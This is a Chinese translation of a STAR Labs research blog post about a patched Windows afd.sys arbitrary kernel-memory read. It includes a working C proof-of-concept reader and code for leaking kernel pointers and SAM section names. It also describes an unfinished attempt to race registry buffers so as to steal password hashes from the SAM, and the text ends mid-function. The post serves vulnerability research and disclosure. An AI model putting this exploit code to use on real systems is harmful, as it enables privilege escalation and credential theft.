尝试利用Windows内核任意读漏洞 | STAR Labs
引言
我最近发现了一个非常有趣的内核漏洞,允许读取任意内核模式地址。遗憾的是,该漏洞已在Windows 21H2(OS Build 22000.675)中修补,且我不确定其分配的CVE编号。在这篇简短的博客文章中,我将分享尝试利用此漏洞的历程。尽管最终未能完成利用,但我决定与大家分享。这也是我基于此讨论寻找答案的尝试。
漏洞详情
获取任意地址读取原语
漏洞位于Windows的辅助功能驱动程序(afd.sys)中。该驱动程序通过DeviceIoControl调用将tcpip.sys的功能暴露给用户模式。以下调用堆栈显示了创建UDP套接字时发生的情况。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
0: kd> k
# Child-SP RetAddr Call Site
00 ffff8388`55f44238 fffff805`10a1a4b8 tcpip!UdpCreateEndpoint
01 ffff8388`55f44240 fffff805`11bc89a7 tcpip!UdpTlProviderEndpoint+0x38
02 ffff8388`55f44290 fffff805`11c21d88 afd!AfdTLCreateEndpoint+0x93
03 ffff8388`55f44310 fffff805`11bc8169 afd!AfdCreate+0x2f0
04 ffff8388`55f44430 fffff805`0b6f68d5 afd!AfdDispatch+0x59
05 ffff8388`55f44470 fffff805`0bb09557 nt!IofCallDriver+0x55
06 ffff8388`55f444b0 fffff805`0bb6a922 nt!IopParseDevice+0x897
07 ffff8388`55f44670 fffff805`0bb69d91 nt!ObpLookupObjectName+0x652
08 ffff8388`55f44810 fffff805`0bbd029f nt!ObOpenObjectByNameEx+0x1f1
09 ffff8388`55f44940 fffff805`0bbcfe79 nt!IopCreateFile+0x40f
0a ffff8388`55f449e0 fffff805`0b829078 nt!NtCreateFile+0x79
0b ffff8388`55f44a70 00007ffa`5a904954 nt!KiSystemServiceCopyEnd+0x28
0c 000000a3`9932f358 00007ffa`572888d7 ntdll!NtCreateFile+0x14
0d 000000a3`9932f360 00007ffa`57288264 mswsock!SockSocket+0x567
0e 000000a3`9932f550 00007ffa`5a55c295 mswsock!WSPSocket+0x234
0f 000000a3`9932f650 00007ffa`5a5648b1 WS2_32!WSASocketW+0x175
*** WARNING: Unable to verify checksum for afd.exe
10 000000a3`9932f740 00007ff6`8167844f WS2_32!WSASocketA+0x61
|
在Windows上,套接字句柄只是由Afd.sys创建的FILE_OBJECT句柄。漏洞位于afd!AfdTliIoControl内部。
在此函数中,一段代码分配了一个缓冲区,并将用户控制的地址复制到该缓冲区中。
1
2
3
4
5
6
7
8
|
Request->Irp = Irp;
BufferSize = Request->Size;
if ( BufferSize )
{
v32 = ExAllocatePool2(0x61, BufferSize, 'idfA');
Request->Buffer = v32;
memmove(v32, Request->UserControlAddress, Request->Size);
}
|
没有对Request->UserControlAddress进行检查,因此我们可以将其设置为任意地址值。Microsoft通过添加对MmUserProbeAddress值的检查来修补此漏洞。
利用
为了利用此漏洞,我需要找出Request->Buffer的使用位置。通过调试,我发现该函数会根据套接字类型和DeviceIoControl输入缓冲区中的其他值,将Request->Buffer传递给tcpip.sys中的其他函数。在IDA的函数窗口中放置IoControl会得到以下函数名称:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
RawIoControlEndpoint
RawTlProviderIoControlEndpoint
TcpIoControlEndpoint
TcpIoControlListener
TcpIoControlTcb
TcpTlConnectionIoControlEndpoint
TcpTlEndpointIoControlEndpoint
TcpTlEndpointIoControlEndpointCalloutRoutine
TcpTlListenerIoControlEndpoint
TcpTlProviderIoControl
TlDefaultRequestIoControl_0
UdpIoControlEndpoint
UdpTlProviderIoControl
UdpTlProviderIoControlEndpoint
|
浏览所有不同的函数和分支后,似乎Request->Buffer的内容经过了充分检查。在查看时,以下函数引起了我的注意:
1
2
3
4
|
TcpGetSockOptEndpoint
TcpSetSockOptEndpoint
UdpGetSockOptEndpoint
UdpSetSockOptEndpoint
|
在POSIX中,套接字API setsockopt和getsockopt具有以下原型:
1
2
|
int setsockopt(int socket, int level, int option_name, const void *option_value, socklen_t option_len);
int getsockopt(int sockfd, int level, int optname, void *restrict optval, socklen_t *restrict optlen);
|
这两个函数可用于获取和设置套接字的各种选项。以下是setsockopt调用的堆栈跟踪。
1
2
3
4
5
6
7
8
9
10
|
# Child-SP RetAddr Call Site
00 ffff8388`534457a8 fffff805`11bd37dc afd!AfdTliIoControl
01 ffff8388`534457b0 fffff805`0b6f68d5 afd!AfdDispatchDeviceControl+0x7c
02 ffff8388`534457e0 fffff805`0bb638f2 nt!IofCallDriver+0x55
03 ffff8388`53445820 fffff805`0bb636d2 nt!IopSynchronousServiceTail+0x1d2
04 ffff8388`534458d0 fffff805`0bb636d2 nt!IopXxxControlFile+0xc82
05 ffff8388`53445a00 fffff805`0b829078 nt!NtDeviceIoControlFile+0x56
06 ffff8388`53445a70 00007ffa`5a903f94 nt!KiSystemServiceCopyEnd+0x28
07 00000075`cc5ef678 00007ffa`57289479 ntdll!NtDeviceIoControlFile+0x14
08 00000075`cc5ef680 00007ffa`5a5618d9 mswsock!WSPSetSockOpt+0x2e9
|
我发现在setsockopt中,调用Request->Buffer包含option_value。如果我们将Request->Buffer指向内核地址,该地址的值将被视为套接字option_value,并存储在内核内存中的某个位置。之后,我们可以通过getsockopt调用读取该值。经过一些调试,我提出了以下POC,可以读取任意有效的内核内存。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
DWORD read_dword(UINT64 addr) {
WSADATA wsd;
int status;
status = WSAStartup(MAKEWORD(2, 2), &wsd);
SOCKET s = WSASocketA(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_REGISTERED_IO);
void* inbuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
void* outbuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
size_t size = 0x40;
*(DWORD*)((char*)inbuffer + 4) = 0x11;
*(UINT64*)((char*)inbuffer + 8) = 2;
*(UINT64*)((char*)inbuffer + 16) = (UINT64)addr;
*(UINT64*)((char*)inbuffer + 24) = size;
*(char*)((char*)inbuffer + 12) = 1;
*(int*)inbuffer = 1;
DWORD n = 0;
status = DeviceIoControl((HANDLE)s, 0x120BF, inbuffer, size, NULL, 0, &n, NULL);
*(int*)inbuffer = 2;
status = DeviceIoControl((HANDLE)s, 0x120BF, inbuffer, size, outbuffer, size, &n, NULL);
// printf("leak: %x\n", *(int*)outbuffer);
return *(DWORD*)outbuffer;
}
|
尝试实现LPE
我们首先需要知道一个有效的内核地址来读取内核内存。此漏洞可以与其他内存损坏漏洞结合使用以实现LPE,但单独使用时,似乎不太有用,直到我在Twitter上看到此讨论,其中@jonasLyk提到,如果有人可以使用其漏洞从内核内存读取C:\Windows\System32\config\SAM,则可能实现LPE。后来我还发现,如果我们的进程具有中等完整性,我们可以调用NtQuerySystemInformation来读取内核的句柄表。在句柄表中,有指向所有进程对象的指针。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
do {
len *= 2;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)64, pHandleInfo, len, &len);
} while (status == (NTSTATUS) 0xc0000004);
|
使用ProcessHacker,我们可以看到一些句柄与SAM文件相关。
Section是Windows上内存映射文件的内核对象。我的第一个想法是在内核内存中定位与SAM文件对应的节对象,并查看它是否包含指向文件内容的指针。Vergilius Project提供了一个交互式类型搜索,非常方便。我们也可以使用windbg查看此类类型。节对象具有类型_SECTION且ObjectTypeIndex == 45。
1
2
3
4
5
6
7
8
9
10
11
|
2: kd> dt _SECTION
nt!_SECTION
+0x000 SectionNode : _RTL_BALANCED_NODE
+0x018 StartingVpn : Uint8B
+0x020 EndingVpn : Uint8B
+0x028 u1 : <unnamed-tag>
+0x030 SizeOfSection : Uint8B
+0x038 u : <unnamed-tag>
+0x03c InitialPageProtection : Pos 0, 12 Bits
+0x03c SessionId : Pos 12, 19 Bits
+0x03c NoValidationNeeded : Pos 31, 1 Bit
|
我们可以通过_SECTION.u1.ControlArea.FilePointer->FileName读取节名称。FileName具有EX_FAST_REF类型,这只是一个普通指针,其前4位嵌入了RefCnt。
1
2
3
4
5
6
7
8
9
|
struct _EX_FAST_REF
{
union
{
VOID* Object; //0x0
ULONGLONG RefCnt:4; //0x0
ULONGLONG Value; //0x0
};
};
|
以下代码允许我从内核内存读取节文件名:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
void leak_section_name() {
ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
do {
len *= 2;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)64, pHandleInfo, len, &len);
} while (status == (NTSTATUS) 0xc0000004);
if (status != (NTSTATUS)0x0) {
printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
return;
}
for (int i = 0; i < pHandleInfo->HandleCount; i++) {
SYSTEM_HANDLE SystemHandle = pHandleInfo->Handles[i];
HANDLE pid = SystemHandle.UniqueProcessId;
HANDLE HandleValue = SystemHandle.HandleValue;
USHORT ObjectTypeIndex = SystemHandle.ObjectTypeIndex;
PVOID Object = SystemHandle.Object;
UINT64 FilePointer = 0;
if (ObjectTypeIndex == 45 && pid == (HANDLE)4) {
UINT64 ControlArea = read_qword((UINT64)Object + 0x28);
P_DUMP(ControlArea);
FilePointer = read_qword((UINT64)ControlArea + 0x40) & (~0xf);
P_DUMP(FilePointer);
WCHAR *name = read_filename(FilePointer);
if (wcsstr(name, L"config\\SAM") != NULL) {
break;
}
}
}
}
|
问题是我无法在Section对象中找到指向文件内容的指针。
Windows Internals, Part 1
一个节可以被一个进程或许多进程打开。换句话说,节对象不一定等同于共享内存。节对象可以连接到磁盘上的打开文件(称为映射文件)或提交的内存(以提供共享内存)。
节对象不包含指向文件内容的指针。它包含原型PTE,其中包含指向物理内存页的PFN。
经过一些谷歌搜索,我发现我不是第一个尝试这样做的人(显然)。这项研究指出,您可以使用注册表对象转储SAM。我完全按照论文中描述的步骤操作。事情进展顺利,直到现实打击了我。我意识到我无法解引用从转储进程获得的指针。它看起来像一个用户模式指针。经过进一步的谷歌搜索,我找到了这篇详细的博客文章,解释了情况。PermanentBinAddress曾经是一个内核指针,现在是注册表进程的用户模式指针。我不确定这是安全补丁还是某种优化。我们可以读取内核内存,但不能读取另一个进程的内存;因此,这破坏了我们的利用。
每次进程调用NtQueryKeyValue时,内核使用CmpAttachToRegistryProcess函数将其上下文切换到注册表进程。然后它将注册表内容复制到一个临时缓冲区中。然后它切换回来,并将内容从临时缓冲区复制到请求者进程中。如果注册表内容的大小大于0x40,临时缓冲区将由CmpAllocateTransientPoolWithTag函数分配,然后推入CmpBounceBufferLookaside(一个LookAsideList)。否则,临时缓冲区将在内核堆栈上。这创建了一个小窗口,我们可以与内核竞争以读取注册表内容。我们还可以通过调用LogonUserA导致lsass.exe读取SAM注册表。
1
2
3
4
|
void trigger_reg_read() {
HANDLE Token;
LogonUserA("bit", NULL, "dummypassword", LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &Token);
}
|
我们的目标是HKLM\SAM\SAM\Domains\Account\Users[userid]\f,其中包含用户的实际哈希。此键值数据长度始终大于0x40。因此,我们可以泄漏CmpBounceBufferLookaside以找到用于服务请求的块。
首先,使用句柄表,我们可以泄漏nt的基地址。我创建了一个TCP FILE_OBJECT,然后泄漏FileObject->DeviceObject->DriverObject->IRP_HANDLERS。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
UINT64 get_nt_base() {
HANDLE hTargetHandle = CreateFileA("\\\\.\\Tcp", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
P_DUMP(hTargetHandle);
UINT64 FileObject = 0;
PSYSTEM_HANDLE_INFORMATION_EX HandleTable = get_hande_table();
for (int i = 0; i < HandleTable->HandleCount; i++) {
SYSTEM_HANDLE SystemHandle = HandleTable->Handles[i];
HANDLE pid = SystemHandle.UniqueProcessId;
if (pid == (HANDLE)GetCurrentProcessId()) {
HANDLE HandleValue = SystemHandle.HandleValue;
if (HandleValue == hTargetHandle) {
FileObject = (UINT64)SystemHandle.Object;
}
}
}
P_DUMP(FileObject);
UINT64 DeviceObject = read_qword(FileObject + 8);
UINT64 DriverObject = read_qword(DeviceObject + 8);
UINT64 IopInvalidDeviceRequest = read_qword(DriverObject +
|